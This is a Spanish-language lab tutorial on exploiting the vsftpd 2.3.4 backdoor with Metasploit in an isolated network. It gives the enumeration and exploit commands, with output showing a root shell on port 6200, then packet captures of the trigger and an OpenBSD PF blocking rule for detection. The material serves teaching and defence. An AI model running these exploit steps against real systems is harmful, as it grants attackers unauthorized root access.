← Volver a Publicaciones

Metasploit Framework en Laboratorio: De la Enumeración de Servicio a la Captura de Shell y Detección en Red

El Metasploit Framework (MSF) es una de las plataformas de evaluación de seguridad y pruebas de penetración más maduras de la industria. Sin embargo, su valor real para un profesional de ciberseguridad no radica únicamente en lanzar exploits automatizados (“point and click”), sino en comprender el comportamiento a bajo nivel de los payloads en memoria y cómo detectar su tráfico en la red perimetral.

En esta nota técnica exploramos un ejercicio práctico de laboratorio controlado: desde la enumeración de un servicio desactualizado hasta la ejecución de un payload stageless y su posterior detección mediante análisis de paquetes y reglas de firewall.


1. Topología del Laboratorio Controlado

Nota de Seguridad Ética: Toda prueba descrita en este artículo se ejecuta dentro de un hipervisor con una red interna aislada (192.168.56.0/24) sin salida a internet ni hosts de terceros.

  • Atacante / Auditor: Kali Linux (192.168.56.10)
  • Objetivo Vulnerable: Host de laboratorio ejecutando un demonio vulnerable (192.168.56.20:21 - vsftpd 2.3.4 con backdoor o servicio de transferencia sin sanitizar).
  • Sensor de Borde: Gateway OpenBSD con tcpdump e inspección pflog0 (192.168.56.1).

2. Fase 1: Enumeración y Selección del Módulo

Dentro de msfconsole, comenzamos identificando las versiones exactas del servicio:

msf6 > db_nmap -sV -p 21,80,445 192.168.56.20
[*] Nmap: 21/tcp open  ftp     vsftpd 2.3.4
[*] Nmap: 80/tcp open  http    Apache httpd 2.4.49

msf6 > search vsftpd 2.3.4
   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Execution

3. Fase 2: Configuración del Exploit y Payload Stageless

A diferencia de los payloads staged (que descargan código ejecutable en fragmentos secuenciales), los payloads stageless envían el binario completo en una sola transmisión, reduciendo la probabilidad de interrupción de conexión y dejando firmas más claras para la correlación forense:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.20
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.20:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.20:21 - USER: sending backdoor trigger smiley ':)'
[+] 192.168.56.20:21 - Backdoor triggered! Connecting to shell on port 6200...
[*] Command shell session 1 opened (192.168.56.10:43210 -> 192.168.56.20:6200) at 2026-08-24 02:15:30

4. Fase 3: Post-Explotación e Inspección de Memoria

Una vez establecida la sesión interactiva, procedemos a realizar la auditoría de mínimo privilegio:

# Verificar identidad efectiva del proceso explotado
id
# Salida: uid=0(root) gid=0(root) groups=0(root)

# Inspección de sockets y conexiones activas en el objetivo
netstat -tulnp | grep 6200
# Salida: tcp 0 0 0.0.0.0:6200 0.0.0.0:* LISTEN 1420/vsftpd

5. Fase 4 (Blue Team): Análisis de Tráfico y Mitigación en Firewall

Desde la perspectiva defensiva, ¿cómo se ve este ataque en el cable de red?

Al capturar el tráfico con tcpdump en la interfaz del sensor OpenBSD:

tcpdump -n -i vio0 -X 'port 21 or port 6200'

Se observa claramente la firma del trigger malicioso:

02:15:29.840120 IP 192.168.56.10.43210 > 192.168.56.20.21: Flags [P.], seq 1:17, ack 1
  0x0000:  4500 0039 1a2b 4000 4006 8f12 c0a8 380a  E..9.+@.@.....8.
  0x0010:  c0a8 3814 a8ca 0015 7234 1a2b 9a10 5018  ..8.....r4.+..P.
  0x0020:  01f5 6a3b 0000 5553 4552 2061 646d 696e  ..j;..USER.admin
  0x0030:  3a29 0d0a                                 :)..

Regla de Mitigación en OpenBSD PF

Para neutralizar la apertura no autorizada de puertos efímeros de backdoor (como el puerto 6200):

# /etc/pf.conf - Política de denegación por defecto
set block-policy drop
block in log all

# Permitir estrictamente el puerto 21 pero bloquear cualquier puerto alto no declarado
pass in quick on $ext_if proto tcp to 192.168.56.20 port 21 keep state
# Todo tráfico al puerto 6200 será bloqueado y registrado en pflog0

6. Conclusiones del Ejercicio

  1. La explotación es solo el 20% del trabajo: La verdadera maestría consiste en entender los artefactos forenses dejados en memoria y los patrones de tráfico en la red.
  2. Defensa en profundidad: Ningún servicio desactualizado debe ejecutarse con privilegios de root. El aislamiento en jaulas (chroot), la ejecución bajo usuarios dedicados (_vftpd) y el filtrado estricto de firewall son obligatorios.